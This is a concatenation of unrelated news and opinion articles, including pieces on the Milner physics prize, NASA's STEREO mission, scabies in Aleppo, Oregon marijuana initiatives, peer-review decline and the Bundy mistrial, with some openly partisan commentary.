Sanchez is an insult, not only to those people but to the racists themselves who have put in the exhausting effort it takes to hate. Just as the inability to distinguish terrorists from Muslims makes us less safe not more. The press is our immune system. If we overreact to everything we actually get sicker and perhaps eczema.”  Television news was paralyzed and confused when they had to cover an event that did not fit into their polarized partisan model. The idea that a rally would be held that wasn’t about politics or supporting a particular candidate or party left them stunned. They were equally dumbfounded by the idea that hundreds of thousands of Americans would show up to an event that had no political motive. They couldn’t figure it.  The corporate media didn’t expect anyone to catch on to their role as the dissemination system for partisan polarization. The media may not be to blame for the partisan divisions in our country, but they definitely help to spread and reinforce them by tilting their coverage towards conflict and sensationalism, while completely neglecting information and rational discussion. I think this rally was reflection of the extremist fatigue that most people feel. People want to feel good and like they can come together for something.  On this one day regular people wanted to show that media may be broken, but America isn’t. The American people came calling today, and their message was loud and clear. They not only want their country back, but they want their sanity back as well. What the media could not figure out was that Jon Stewart had a message that was bigger than politics. His message was that America is fine. It is our media and hyper partisanship that is broken, and Stewart advocated for everyone to work together to solve our problems. The media won’t like it, but this rally was about how great America can be, and how much of a problem they have become.  If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:
-A Russian internet investor who quit his PhD in physics and made a billion dollars from social networking and other investments has established the most lucrative annual prize in the history of science.  Yuri Milner, who made his fortune from investments in Facebook, Twitter, Zynga and Groupon, has launched a clutch of awards to recognise advances in the obscure field of fundamental physics, which aims to understand the basic laws of nature.  With each award worth $3m (£1.9m), the monetary value dwarfs that of the prestigious Nobel prize, which last year stood at $1.1m.  Milner, who has homes in Silicon Valley and Moscow, announced nine immediate winners of the prize, which is worth a combined total of $27m. The nine will now form a committee to select a winner, or winners, for next year. The prize will be given in the first quarter of each year, unlike the Nobels, which are awarded in October.  In an interview with the Guardian, Milner said the prize was for the "greatest minds working in the field of fundamental physics", and specifically for recent advances. In emphasising fresh achievements, Milner hopes the prize will help physicists who are still highly active in research and capable of major contributions in the future.  When the Nobel prize is awarded for fundamental physics, the recipients are often at the end of their careers – or worse – because it can take decades for theoretical advances to be proved right by experiments. The discovery at the Cern physics lab in Geneva this year of what looks like the Higgs boson came 48 years after the particle was first proposed by Peter Higgs, who is only now in line for a Nobel prize, at the age of 83. His name is absent among the prizewinners announced by Milner because his work was done so long ago.  According to Milner, the new prizes are not intended to compete with the Nobels, and differ in crucial ways. They can go to younger researchers because experimental verification of theoretical breakthroughs is not required. And, unlike a Nobel prize, which can be shared by three scientists at most, the Milner prize imposes no limit.  The prize differs in other ways, too: anyone can nominate a winner online, and the selection panel is public, in contrast to the secretive gathering and closed voting process that decides the Nobel prizes each year.  Alongside the main prize, Milner's foundation will give two further awards, the first being an annual New Horizons in Physics prize for promising junior researchers, and a special ad-hoc fundamental physics prize that can be awarded at any time, forgoing the usual nomination process. Milner said the latter prize might, for example, recognise experimental results that are clearly and immediately groundbreaking.  Milner, 50, left Moscow State University in 1985 with an advanced degree in theoretical physics. He later abandoned a PhD at the Russian Academy of Sciences for an MBA at the Wharton School of Business at the University of Pennsylvania. Asked if the prizes intentionally trumped the Nobels, at least in monetary terms, he said: "The best minds in fundamental physics deserve that level of recognition.  "There's no mathematical formula of how I came up with that number, but I wanted to send a message that fundamental science is important, so the sum had to be significant."  On whether the awards made amends for his departure from physics, he added: "There's definitely an element of that. It's hard to deny."  The prizewinners are encouraged to give annual public lectures as part of a concerted effort to raise the profile of fundamental physics and communicate the real meaning of the advances to as wide an audience as possible.  The nine prizes recognise work that is often as difficult to pronounce as it is to explain. Maxim Kontsevich, at the Institute of Advanced Scientific Studies, near Paris, was honoured for the development of "homological mirror symmetry and the study of wall-crossing phenomena". Alexei Kitaev, at California Institute of Technology, won for work on using "topological quantum phases with anyons and unpaired Majorana modes".  Four physicists at the Institute for Advanced Study, in Princeton – the former home of Albert Einstein – earned individual prizes, with three going to string theorists, who work on a model of reality that casts particles as vibrating strings of energy. The fourth, Nima Arkani-Hamed, was recognised for "original approaches to outstanding problems in particle phsyics".  Speaking of the prize, Arkani-Hamed said: "Obviously, I'm biased, but I think it's a fantastic thing for the field. It puts a spotlight on the subject of fundamental physics, which we all have a sense is important.  "Prizes don't motivate people to do physics. The rush of discovery is typically the greatest pleasure we have in this game, but this will be an opportunity to really showcase the subject."  When asked what he planned to do with the $3m, Arkani-Hamed said: "I need to think about it some more."  Two winners, Alan Guth at MIT and Andrei Linde at Stanford University, won separate awards for their work on the inflationary model of the universe, which proposes that the newborn cosmos expanded at a spectacular rate before slowing to a more sedentary pace. Though widely accepted among cosmologists, the work has not earned either scientist a Nobel prize.  Reached at his home in the US, Guth said he hoped the new prize would raise the profile of fundamental physics research, as societal attitudes had an impact on young people's career choices. He pointed out that, had the prize been around a century ago, Albert Einstein might have won it for relativity, his greatest contribution to physics. He won the Nobel prize instead,for the photoelectric effect, in 1921, after it was confirmed by experiment.  Guth, whose own work describes why the universe is the way we see it today, said he was unsure what to do with the $3m prize money. "It's awfully hard to think about," he said. "It took me a while to get accustomed to thinking about the inflation of the universe, and it will take me a while to become accustomed to thinking about this."  The winners  Nima Arkani-Hamed, Institute for Advanced Study, Princeton. For original approaches to outstanding problems in particle physics, including the proposal of large extra dimensions, new theories for the Higgs boson, novel realisations of supersymmetry, theories for dark matter, and the exploration of new mathematical structures in gauge theory scattering amplitudes.  Alan Guth, MIT. For the invention of inflationary cosmology, and for his contributions to the theory for the generation of cosmological density fluctuations arising from quantum fluctuations in the early universe, and for his ongoing work on the problem of defining probabilities in eternally inflating spacetimes.  Alexei Kitaev, California Institute of Technology. For the theoretical idea of implementing robust quantum memories and fault-tolerant quantum computation using topological quantum phases with anyons and unpaired Majorana modes.  Maxim Kontsevich, Institute of Advanced Scientific Studies near Paris. For numerous contributions that have taken the fruitful interaction between modern theoretical physics and mathematics to new heights, including the development of homological mirror symmetry, and the study of wall-crossing phenomena.  Andrei Linde, Stanford University. For the development of inflationary cosmology, including the theory of new inflation, eternal chaotic inflation and the theory of inflationary multiverse, and for contributing to the development of vacuum stabilisation mechanisms in string theory.  Juan Maldacena, Institute for Advanced Study, Princeton. For the gauge/gravity duality, relating gravitational physics in a spacetime and quantum field theory on the boundary of the spacetime. This correspondence demonstrates that black holes and quantum mechanics are compatible, resolving the black hole information paradox. It also provides a useful tool for the study of strongly coupled quantum systems, giving insights into a range of problems from high-temperature nuclear matter to high-temperature superconductors.  Nathan Seiberg, Institute for Advanced Study, Princeton. For major contributions to our understanding of quantum field theory and string theory. His exact analysis of supersymmetric quantum field theories led to deep new insights about their dynamics, with fundamental applications in physics and mathematics.  Ashoke Sen, Harish-Chandra Research Institute, Allahabad. For uncovering striking evidence of strong-weak duality in certain supersymmetric string theories and gauge theories, opening the path to the realisation that all string theories are different limits of the same underlying theory.  Edward Witten, Institute for Advanced Study, Princeton. For contributions to physics spanning topics such as new applications of topology to physics, non-perturbative duality symmetries, models of particle physics derived from string theory, dark matter detection, and the twistor-string approach to particle scattering amplitudes, as well as numerous applications of quantum field theory to mathematics.  • This article was amended on 31 July 2012 to give the correct spelling of Maxim Kontsevich
-Barcelona "If Barcelona want to make history, we'll have to come back"  Iniesta calls on cules to believe comeback is possible  Luis Enrique: It was a disastrous night  As difficult to swallow as the 4-0 defeat was, Luis Suarez is not giving up on the tie, Luis Enrique or the season as there is still plenty left to fight for Barcelona.  Andres Iniesta too has called on cules and the team to believe a comeback is possible, and the Uruguayan striker will be hoping that is the case as he won't be able to feature in the Copa del Rey final.  "If Barcelona want to make history, we'll have to come back," he said. "We are all guilty, same when we win as when we lose.  "The team has to convince itself it is possible - we won the treble so we must believe in ourselves."  Suarez didn't want to dwell on his two yellow cards that mean he'll miss the Copa del Rey final vs. Alaves, with the Appeals Committee rejecting his appeal.  "What is said is done," the striker stated. "Few times do players get two yellows back to back in just a few minutes, and one of my cards was for a foul in midfield, of which there are many like it."  Finally, Suarez was asked about whether Luis Enrique should continue as coach and whether the club should sign a right-back, two of the most pressing issues for the Catalans.  "If we need a right back is for the coach to decide," Suarez said. "Not at all have we lost faith in Luis Enrique.  "We've enjoyed ourselves thanks to him and now we suffer altogether as a team.  "We aren't listening to those that are saying there are internal problems.  "It isn't surprising that people are calling it the end of an era. We are the best team in the world. We get criticised win or lose so this isn't new and we shouldn't pay it too much attention."
-Soon we may get the first ever glimpse of the dark side of the sun.  Well, no, there's no actual dark side of a luminous ball of burning gas, but there is an effective dark side, as in, the side of the sun we can't see at any given time.  Scientists aren't content to get just half of the picture, so they've launched the STEREO (Solar Terrestrial Relations Observatories) mission, a pair of NASA spacecraft that will orbit the sun simultaneously to provide a complete view of all sides of the star at once.  "Then there will be no place to hide and we can see the entire sun for the first time," STEREO project scientist Michael Kaiser of NASA's Goddard Space Flight Center told Wired.com.  The perfect spherical view will come on Feb. 6, 2011. Right now the satellites, which were launched in October 2006, are about 90 degrees apart, which allows a picture of about 270 degrees of the sun — the fullest view yet.  "The whole goal of all of this is to try to get a better handle to try to predict solar storms, which cause cell phone disturbances, and disruptions to communications and power." Kaiser said. "We'd like to be able to predict these things as far in advance as possible to give us a longer warning time."  Solar storms are magnetic disruptions on the sun that release violent sprays of charged particles into space. These storms can produce magnificent displays of the Northern Lights. But some past storms have also cost airlines and satellite communications industries millions of dollars, and have led to large scale power blackouts (including one across the entire province of Quebec, Canada). Being able to reliably forecast these tempests in advance could make a huge difference in preventing disturbances on Earth.  Predicting solar weather is also important for the future of manned spaceflight. If astronauts are exposed to the intense radiation from solar storms while traveling beyond the protective magnetic field of the Earth, they could suffer serious harm. Even astronauts close to home who venture out for a spacewalk during a storm are put in danger.  "For future missions going to the moon and Mars, that's very important," Kaiser said. "Some of these solar storms can be very intense. If the astronauts were completely exposed to one of these storms the radiation could be high."  The STEREO mission also aims to improve our basic scientific understanding of the dynamics within the sun, which could shed light on the workings of stars in general.  See Also:  Image: One of the first photos taken by STEREO of flares on the sun. Credit: NASA
-13 SHARES Share Tweet  HILLARY UNIVERSITY. BILL CLINTON SCORED $16.46 MILLION FROM FOR-PROFIT COLLEGE.  Woops. Hillary bashes Trump for Trump University as she and her husband are guilty of the same thing.  Breitbart broke the news that in 2015, Bill had to quickly (and quietly) resign from his post as honorary chancellor of Laureate Education, a for-profit college company, which has been involved in its own controversy in the past.  Bill’s abrupt departure was due to Laureates funneling of $16.46 million over five years, all the while Hillary’s State Dept. threw at least $55 million to a group run by Laureate’s founder and chairman, Douglas Becker, a man not surprisingly connected to the Clinton Global Initiative.  Smells fishy to me.  But wait, there’s more!  Who else is a major financial backer to Laureate Education? None other than billionaire George Soros. You know, the guy who also helped back Ted Cruz. The same guy that Glenn Beck had for years trashed, but when George was backing his man Cruz, Beck said nothing. But I digress.  The Washington Post reports, “Laureate has stirred controversy throughout Latin America, where it derives two-thirds of its revenue.” Over the course of Bill’s tenure, Laureate spent over $200 million a year on over the top marketing, such as internet banners, telemarketing, and billboard ads to lure poverty stricken students to enroll to the for-profit school.  Classy!  Remember folks. Those in glass houses should not throw stones. Yet Hillary and team seem to be throwing all the stones they can possibly get their hands on. Hillary University is nothing more than a scam. How can she possibly point fingers at Donald Trump?  It’s simple. She’s a politician. You know. A career liar. This is the same Hillary who has been surrounded by controversy her entire political career. Yet somehow, she’s the likely favorite in the Democratic race. It’s time to wake up. It’s time to elect someone who’s in it for us. The U.S.A. Someone who will, Make America Great Again.  Continue the conversation. Follow us on twitter : @trumpwallnow
-ALEPPO, Syria — Skin diseases, in particular scabies and head lice, are raising concerns among residents and medical staff in the rebel-held part of Aleppo. Head lice, which first appeared in October in the al-Sukkari neighborhood, has now spread to most of the city’s neighborhoods, especially those close to the front lines.  This prompted a team of activists from the National Campaign to Combat Epidemics in Aleppo to declare Dec. 17 that scabies and lice have reached “epidemic” proportions in the areas controlled by rebels. The team called on all health and relief agencies and other organizations to intervene to fight this “humanitarian catastrophe.”  The campaign to fight these afflictions began around a month ago, but it has so far been limited to schools. Al-Monitor visited a school in the Bustan al-Qasr neighborhood where activists were examining students for scabies and lice and providing instructions on how to avoid them.  While examining the hair of a student with lice, Samar Ayoubi, a campaign supervisor, told Al-Monitor, “Scabies and lice are quickly spreading, especially in schools. Two weeks ago, the rate of scabies was 35% and 25% for lice in this school. Today, it has reached 45% for both diseases even though we distributed medicine to the affected students.”  Ayoub added, “We need a huge quantity of medicine to distribute to the residents to completely eliminate these diseases and prevent them from reappearing. The Red Crescent promised to provide the needed medicine after the medical storage provided by Medical Relief for Syria ran out.”  On Dec. 3, the Red Crescent transported a shipment of medicines for combating scabies and lice through the Bustan al-Qasr crossing, which separates the areas controlled by rebels from those controlled by the regime. The shipment included 2,800 packets of medicine that were distributed to hospitals and medical centers in opposition-controlled areas. This shipment appears to be rather small, however, in light of the extent of the spread of scabies and lice in Aleppo.  A Red Crescent volunteer, speaking on condition of anonymity, told Al-Monitor, “4,000 bottles of benzyl benzoate lotion for scabies and body lice are going to enter through Bustan al-Qasr crossing.” The volunteer also said that the International Committee of the Red Cross is hoping to provide an estimated 35,000 bottles of medication, but “processing the shipment and getting authorizations might take a while.”  The situation on al-Tom Street in al-Sukkari, where scabies first appeared, is horrific. Because the neighborhood lies near the Ramouseh and Sheikh Said fronts, it has been exposed to continuous shelling, which led to basic services being cut. There is no water and no electricity. The piles of rubble from bombings have become garbage dumps. The residents share one water well for drinking and washing. It is a breeding ground for skin diseases like scabies and lice.  A resident of al-Tom Street carrying water to her home said, “I have a 10-year-old child, and so far he has not been affected by either scabies or lice. I shower him every day, but most of our neighbors have scabies, and this is why I do not allow him to play with the children here.”  Staving off the skin diseases that have spread throughout her neighborhood will be an ongoing battle. The mother lamented, “No one cares about us. Medicine was distributed once, but there was not enough for all the patients. If water is not provided, and garbage is not taken care of, the diseases will appear again.”
-Surprise, surprise: Last month was the hottest August ever recorded, marking the 11th straight month that global heat records have been shattered, according to NASA data.  The agency broke the bad, though perhaps not entirely unexpected, news on Monday. August had a global average surface temperature of about 1.76 degrees Fahrenheit above average, NASA said. It also tied with July as the warmest month ever recorded since record-keeping began in 1880.  “We are well on our way to the warmest year recorded,” the Union of Concerned Scientists wrote in an email to The Huffington Post this week.  If deemed the hottest year ever, 2016 will be the third year in a row to boast this unfortunate title.  NASA Goddard Institute for Space Studies  But though every month — and each year — appears to bring the same news about “hottest” this and that, experts are warning against apathy and fatigue regarding record-breaking temperatures.  “While there may be a tendency to be complacent about the recurring record temperatures, with each month come more climate-related consequences that cannot be ignored,” wrote UCS climate scientist Astrid Caldas in a blog post.  Jonathan Bachman/Reuters Climate change makes occurrences like the devastating August floods in Louisiana -- the worst natural disaster in the U.S. since Hurricane Sandy in 2012 -- at least 40 percent more likely, according to the National Oceanic and Atmospheric Administration.  Climate change is not a future problem, but rather one that we are actively dealing with.  “We are feeling climate change impacts right here, right now,” Caldas continued. “From wildfires and droughts to devastating floods, climate change fingerprint is all around us and does play a role in making events more extreme. An example are this summer’s floods in Louisiana, caused by intense rains which were “at least 40 percent more likely to happen because of climate change,” according to research.  NASA/Goddard Institute for Space Studies  Gavin Schmidt, director of NASA’s Goddard Institute for Space Studies, stressed this week that it’s long-term trends, rather than monthly readings, that “are the most important for understanding the ongoing changes that are affecting our planet.”
-The clock is ticking on marijuana legalization initiatives in Oregon. There are currently four different initiative campaigns underway, but at this point, four months away from when signatures must be handed in, only two look like they have any chance of success this year, and both of them are still tens of thousands of signatures from getting on the November ballot.  view of Mount Hood from Portland (photo from usgs.gov)  If one or both of them makes the ballot, the Pacific Northwest could be a real hotbed of marijuana reform activity this fall. An initiative to tax and regulate marijuana is already on the ballot next door in Washington, and nearby, sparsely populated Montana is also the site of an active initiative signature-gathering campaign for legalization with at least decent prospects of making the ballot.The two best positioned Oregon initiatives are the Oregon Cannabis Tax Act of 2012 (OCTA) and the Oregon Marijuana Policy Initiative (OMPI), which are well into their signature-gathering campaigns. Essentially serving as placemarkers for the next electoral cycle are the Control, Regulation, and Taxation of Cannabis Act (CRTC), which was just approved for a draft title, and an initiative from Sensible Oregon , which has yet to be approved for a draft title.The initiative currently furthest down the path toward the ballot box is the OCTA (Initiative Petition #9), sponsored by veteran activist and medical marijuana entrepreneur Paul Stanford. It would allow adult Oregonians to possess and grow their own marijuana. It would allow Oregon farmers to grow hemp. And it would license Oregon farmers to grow marijuana to be sold at state-licensed pot stores. An earlier version of OCTA failed to make the ballot last in 2010. OCTA campaign spokespersons said it had so far collected more than 50,000 signatures. It needs some 87,000 valid voter signatures to make the ballot, so OCTA's goal is to gather about 130,000 to have a comfortable cushion to account for invalid signatures.Also well-placed is the OMPI, a constitutional amendment (Initiative Petition #24) to repeal the state's marijuana laws. It is supported by numerous in-state groups. "Except for actions that endanger minors or public safety, neither the criminal offenses and sanctions nor the laws of civil seizure and forfeiture of this state shall apply to the private personal use, possession or production of marijuana by adults 21 years of age and older," the amendment says. "The State may enact laws and regulations consistent with this amendment to reasonably define, limit and regulate the use, possession, production, sale or taxation of marijuana under state law."The OMPI campaign, operating as Citizens for Sensible Law Enforcement , reported 46,200 signatures handed in as of Sunday. But because it is a constitutional amendment, OMPI must meet a higher signature threshold than other initiatives. It needs 117,000 valid signatures to make the ballot, and the campaign is aiming at turning in 185,000.The CRTC (Initiative #44) would remove marijuana from the state controlled substances act and give the legislature the ability to enact laws to control, regulate, and tax commerce in marijuana and industrial hemp.The Sensible Oregon initiative "would remove existing civil and criminal penalties for adults twenty one years of age, who cultivate, possess, transport, exchange or use marijuana" and require the legislature to come up with a regulatory scheme.The Sensible Oregon initiative has gathered 746 of the initial 1,000 signatures needed to win a ballot title. Activists are gathering them on a volunteer basis.Doug McVay, a long-time activist now (again) working for Voter Power , the group behind Oregon's successful 1998 medical marijuana initiative, said Voter Power supports any and all of the initiatives, but is concentrating its limited resources on the OMPI and a second initiative that would create a state-regulated medical marijuana dispensary system."It's a tough row to hoe to get enough signatures for a constitutional amendment, but we're still working closely with the campaign, and they're well on track to get there," said McVay. "And OCTA, well, God bless them, removing all criminal penalties would be good, and it would be wonderful if they can get it done."Time is running out on Sensible Oregon, said McVay."When they finally turn in their 1,000 signatures to the Secretary of State, it's going to take a minimum of 50 business days before they can start signature-gathering, and that's if there are no challenges," he explained. "They wouldn't be able to start until mid-May at the earliest, and they only have until July 6. They need to fish or cut bait.""Unfortunately, our effort is suffering from a lack of resources. We don't have strong outreach," said Oregon NORML's Madeline Martinez, wearing her Sensible Oregon hat. "We feel strongly that it has the best language for a draft title, and our years dealing with the legislature and lobbying lead us to believe people will be less likely to vote for a constitutional amendment for marijuana," she said.But the Sensible Oregon initiative is struggling even to get those first 1,000 signatures. "We would like to at least get those signatures so we can get a draft title and poll on that," Martinez said, "but the chances for this year are pretty slim unless we get that draft title and poll well and people start throwing money at us."Similarly, Anthony Johnson, proponent for the CRTC, which is just getting its draft title, was setting his sights down the road. "We'll get and improve on our ballot title and do some polling," he said. "We're playing for 2014 and 2016. It looks like the OMPI has the best chance of qualifying and passing, but even if it did pass, there would still be a need to reform the law."OCTA proponents did not respond to requests for comment this week, but in a recent communication to activists, Stanford said the campaign had 15 paid signature-gatherers and was in the process of hiring 20 more, as well as more than 900 volunteers. He said he had polls that showed OCTA could win with 60%, but copies of those polls were not available."We have the money in the bank to pay to put OCTA on the ballot this year and we will do it," he vowed.But OMPI is also making a big and well-organized push in the final months."I have 220 circulators on the street and we're hiring continuously," said OMPI proponent Robert Wolfe. "We have money in the bank or pledges to make it all the way. I think I-24 is a lock for the ballot."Wolfe said OMPI had polling numbers, but declined to share the actual poll results or crosstabs."We see a standard response that every quasi- or full legalization question gets, in the mid-50s, but we are heartened by crosstabs that show we have strong support among youth and the middle aged voters," he said. "Our polling also tells us that a couple of messages resonate. The statement 'We shouldn't be wasting valuable police time and resources arresting marijuana users' polls over 70%, while the statement 'Individuals shouldn't go to jail for growing plants for personal use polls at 68%."While the OMPI still needs to gather more than 100,000 signatures, it is confident enough to be looking beyond making the ballot to the actual campaign itself. The effort is looking to tie itself to the strong progressive elements that permeate Oregon politics."We are hopeful that we are going to gain the support of the progressive infrastructure here, including labor and the Democratic Party," said campaign strategist Adam Smith. "We feel that our ability to motivate and turn out young voters will be a very valuable part of the progressive campaign here in Oregon. Close to 70% of Democrats here already support legalizing marijuana and a majority of voters overall. This is not a radical idea here; it's not going to be a huge political step for people to get behind it," he said.They have a fundraising strategy for the general campaign, Smith said."We're reaching out to the business community. Like all the states, Oregon is short on resources, and we're spending tens of millions of dollars enforcing low-level marijuana violations," he noted. "Everyone understands that money could be better spent actually protecting people. We think people here in the state will step up. Everyone understands we have a real chance to win," he said."We're also hoping that the general momentum of having for the first time multiple states ending marijuana prohibition will get the attention of folks around the country who care about the issue, and they can make donations on our web site or Facebook page . Those small donations are key, because the large donors look to see that we have a lot of individual people behind us."Factionalism and infighting has been the bane of the marijuana movement in Oregon, as in so many other places, but this time around, there is hope that once the dust settles, people will buckle down and support an initiative even if it was the one they supported in the beginning."I believe that as it becomes clear we're making the ballot and the others don't have the resources, they will in the end coalesce behind us," OMPI's Wolfe predicted. "The old style of marijuana politicking has not worked for some time in Oregon; it's time to view this as an important social justice issue like gay rights, equal opportunity, and unions. We're modernizing and mainstreaming this. We will not be having smoke-ins, but we will be putting on ties.""I'm supporting whatever makes the ballot and I think can win," Martinez said. "I'm on that bus; I don't care who's driving. I just don't want to lose again at the ballot box. Every time they see us lose, it chips away at our credibility."But first, one or more of the initiatives has to qualify for the ballot. It is by no means a done deal, but it is looking doable.
-Peer review isn’t a core subject of this blog. We leave that to the likes of Nature’s Peer-to-Peer, or even the Dilbert Blog. But it seems relevant to look at the peer review process for any clues about how retracted papers are making their way into press.  We’re not here to defend peer review against its many critics. We have the same feelings about it that Churchill did about democracy, aka the worst form of government except for all those others that have been tried. Of course, a good number of the retractions we write about are due to misconduct, and it’s not clear how peer review, no matter how good, would detect out-and-out fraud.  Still, peer review is meant as a barrier between low-quality papers and publication, and it often comes up when critics ask questions such as, “How did that paper ever get through peer review?”  With that in mind, a paper published last week in the Annals of Emergency Medicine caught our eye. Over 14 years, 84 editors at the journal rated close to 15,000 reviews by about 1,500 reviewers. Highlights of their findings:  …92% of peer reviewers deteriorated during 14 years of study in the quality and usefulness of their reviews (as judged by editors at the time of decision), at rates unrelated to the length of their service (but moderately correlated with their mean quality score, with better-than average reviewers decreasing at about half the rate of those below average). Only 8% improved, and those by very small amount.  How bad did they get? The reviewers were rated on a scale of 1 to 5 in which a change of 0.5 (10%) had been earlier shown to be “clinically” important to an editor.  The average reviewer in our study would have taken 12.5 years to reach this threshold; only 3% of reviewers whose quality decreased would have reached it in less than 5 years, and even the worst would take 3.2 years. Another 35% of all reviewers would reach the threshold in 5 to 10 years, 28% in 10 to 15 years, 12% in 15 to 20 years, and 22% in 20 years or more.  So the decline was slow. Still, the results, note the authors, were surprising:  Such a negative overall trend is contrary to most editors’ and reviewers’ intuitive expectations and beliefs about reviewer skills and the benefits of experience.  (You might ask, “So who peer-reviewed this paper?” A newer reviewer, one would hope.)  Annals of Emergency Medicine is a reasonably high-tier journal, in the top 11% of Thomson Scientific impact factors in 2008. So what’s true for the journal may be true at other top-tier publications.  What could account for this decline? The study’s authors say it might be the same sort of decline you generally see as people get older. This is well-documented in doctors, so why shouldn’t it be true of doctors — and others — who peer review? The authors go on:  Other than the well-documented cognitive decline of humans as they age, there are other important possible causes of deterioration of performance that may play a role among scientific reviewers. Examples include premature closure of decisionmaking, less compliance with formal structural review requirements, and decay of knowledge base with time (ie, with aging more of the original knowledge base acquired in training becomes out of date). Most peer reviewers say their reviews have changed with experience, becoming shorter and focusing more on methods and larger issues; only 25% think they have improved. Decreased cognitive performance capability may not be the only or even chief explanation. Competing career activities and loss of motivation as tasks become too familiar may contribute as well, by decreasing the time and effort spent on the task. Some research has concluded that the decreased productivity of scientists as they age is due not to different attributes or access to resources but to “investment motivation.” This is another way of saying that competition for the reviewer’s time (which is usually uncompensated) increases with seniority, as they develop (more enticing) opportunities for additional peer review, research, administrative, and leadership responsibilities and rewards. However, from the standpoint of editors and authors (or patients), whether the cause of the decrease is decreasing intrinsic cognitive ability or diminished motivation and effort does not matter. The result is the same: a less rigorous review by which to judge articles.  What can be done? The authors recommend “deliberate practice,” which  involves assessing one’s skills, accurately identifying areas of relative weakness, performing specific exercises designed to improve and extend those weaker skills, and investing high levels of concentration and hundreds or thousands of hours in the process. A key component of deliberate practice is immediate feedback on one’s performance.  There’s a problem:  But acting on prompt feedback (to guide deliberate practice) would be almost impossible for peer reviewers, who typically get no feedback (and qualitative research reveals this is one of their chief complaints).  In fact, a 2002 study in JAMA co-authored by Michael Callaham, the editor in chief of the Annals of Emergency Medicine and one of the authors of the new study, found that “Simple written feedback to reviewers seems to be an ineffective educational tool.”  What about training? A 2008 study in the Proceedings of the Royal Society of Medicine found that short training courses didn’t have much effect on the errors peer reviewers failed to catch. That followed a 2004 study in the BMJ with similar results. And that’s consistent with what one journal editor who looked at the Annals of Emergency Medicine study told us about his own experience, too.  That same editor suggested that another potential fix — continually recruiting less-experienced reviewers, at the top of their games — might not work either. Such reviewers, he said, often didn’t include any narratives or interpretations in their reviews, just lists of comments.  Sounds like a good subject for the next Peer Review Congress, which should be held in 2013. In the meantime, please take our poll on one specific aspect of peer reviewing:  Share this: Email  Facebook  Twitter
-As the crucial state elections and the big general elections draw closer, the political parties are losing no opportunity to claim credit for what they have done and increasingly also for what they have not done. And, as this piece discusses, some are, bafflingly, refusing to take credit for what they have done.  Anyone who follows the ruling party’s speeches and campaign, what stands out is that Right to Information (RTI), Food Security Bill and Right to Education Bill are among the three major accomplishments they are going to people with. But, as more and more people are now pointing out, all these bills are nothing but what the NDA government had already done and what the UPA has done is to merely give it a new nomenclature.  Let us look at the RTI Act, which, in more ways than one has been a game changer. The act was enacted and assented in June 2005, when UPA had been in power for a year. But what was RTI really? It was nothing but the Freedom of Information (FOI) Act 2002 that was enacted by the NDA government.  In fact, the aim of the act was the same as the RTI and, as this letter dated January 30, 2003, from the then secretary, Department of Personnel and Training (DoPT) shows, the government had started moving towards promoting it.  Other than calling it the “beginning of a new era in approach of government functioning where openness shall now be the rule and secrecy an exception”, the letter went on to ask all secretaries to “provide before hand the requisite infrastructure in the form of rules etc.”  In fact, so serious was the NDA government about this act’s implementation that the letter from the DoPT said: “the provisions contained therein give the Act an over-riding effect in character. In keeping with this, we would suggest that an immediate review may be undertaken for all such Acts and Instruments administered by the Ministry and amendments made thereto, wherever necessary, so that the scheme is not subverted through the operation of conflicting provisions in these Acts/Instruments.”  The letter then went on to say “suitable action may be taken on priority basis so that there is no cause for delay in brining the act into force”, before concluding: “As the entire infrastructure for bringing the Act into force has to be set up within the shortest possible time, I shall be grateful if the above aspects receive your personal attention.”  This was January 2003. RTI came in 2005. If one were to analyse, bluntly put, it is nothing but a case of the UPA coming to power and sitting on it for a couple of years, give it a new name and then take credit for it. In fact, Aruna Roy and Arvind Kejriwal have, perhaps, worked harder to popularise and take it to the masses than any of the large political parties.  And it is not just this. Even the Right to Education Bill, which is once again seen as a game changer, was actually conceived in 2003 as something called “Free & Compulsory Education for Children.”  If you dig the net and the social media, there are plenty of other instances available where something that was thought through and started during NDA was appropriated by the UPA after a slight break by merely giving it a new name.  Of course, when in Delhi, how can one forget about what is easily the most successful large project undertaken in the country after independence, the Delhi Metro? The current CM, Sheila Dikshit has appropriated the infrastructure as her baby. But the facts tell a different story.  Delhi Metro Rail Corporation was set up jointly by the government of India and government of Delhi in May, 1995, when the Delhi CM was Madan Lal Khurana. Total ground work and planning was done in the subsequent two-three years and construction started in 1998, just when Sheila Dikshit took over as the CM. So, if anything, the credit goes to now severely ailing Khurana and not the lady who has garnered all the accolades for the project.  But all this brings one to the point. Why has the BJP, indeed the NDA, shied away from claiming credit for things which they have done? Doesn’t it seem strange that the ruling party goes to town claiming credit for every scheme considered a game changer in the country, while those who are actually responsible for it, protest meekly or give it a miss altogether.  I am unable to understand this strange reticence on part of the principal opposition party that is hoping to make a comeback. In the minds of the young voters, and their number would be more than significant in the coming elections, RTI, RTE and Delhi Metro, among others are ALL the handiwork of the Congress and the UPA. Why wouldn’t the BJP tell them what the truth is? I fail to understand!
-Composite includes image by wesvandinter, E+, Getty Images, St. George News  OPINION — Those who maintain that what happened in Bunkerville in April of 2014 was simply about Cliven Bundy’s cows and the federal Bureau of Land Management are getting a much needed reality check.  It was a symptom of a much larger long-term problem involving government power being exercised without proper limits or accountability.  When Judge Gloria Navarro declared a mistrial in the case against Cliven, Ammon and Ryan Bundy last week, virtually no one in the courtroom was shocked. Even the most openly hostile media representatives who have been covering the Bundys could see the writing on the wall.  Read more: Mistrial announced in Bundy case  The official narrative, which falsely depicted the defendants as dangerous, violent men who posed a deadly threat to government officers and the public in general, had been breaking up on the rocks of reality for some time.  Federal indictments were revealed to be long on melodrama and short on substance and did not accurately reflect what happened in Bunkerville back in 2014. As more and more facts found their way to daylight, a very different picture began to emerge as to who were the aggressors and who were the victims in this case.  The government’s case against the Bundy family members and Ryan Payne had already failed to persuade jurors in a number of previous cases. This wasn’t a matter of the defendants exploiting loopholes or deftly out-lawyering the prosecution.  The juries weren’t stacked with Bundy supporters who could be counted on to oppose the government for ideological reasons. Jurors came to realize they simply could not trust that their government was telling them the truth.  In explaining her reasons for declaring the mistrial, Navarro cited several key pieces of evidence that prosecutors willfully failed to turn over to the defense during the discovery phase of the trial. Navarro pointedly emphasized the “willful suppression” of evidence as she listed each one.  This included information regarding an FBI surveillance camera posted outside the Bundy’s ranch, documents that identified BLM snipers posted outside the ranch eight days before the April 14 standoff. Also withheld was an FBI log with entries stating “snipers were inserted” and on standby outside the Bundy home.  In addition, prosecutors willfully withheld at least four threat assessments that admitted the Bundys weren’t violent and that the BLM was “antagonizing” the family. Finally, the government suppressed an internal affairs document that admitted there 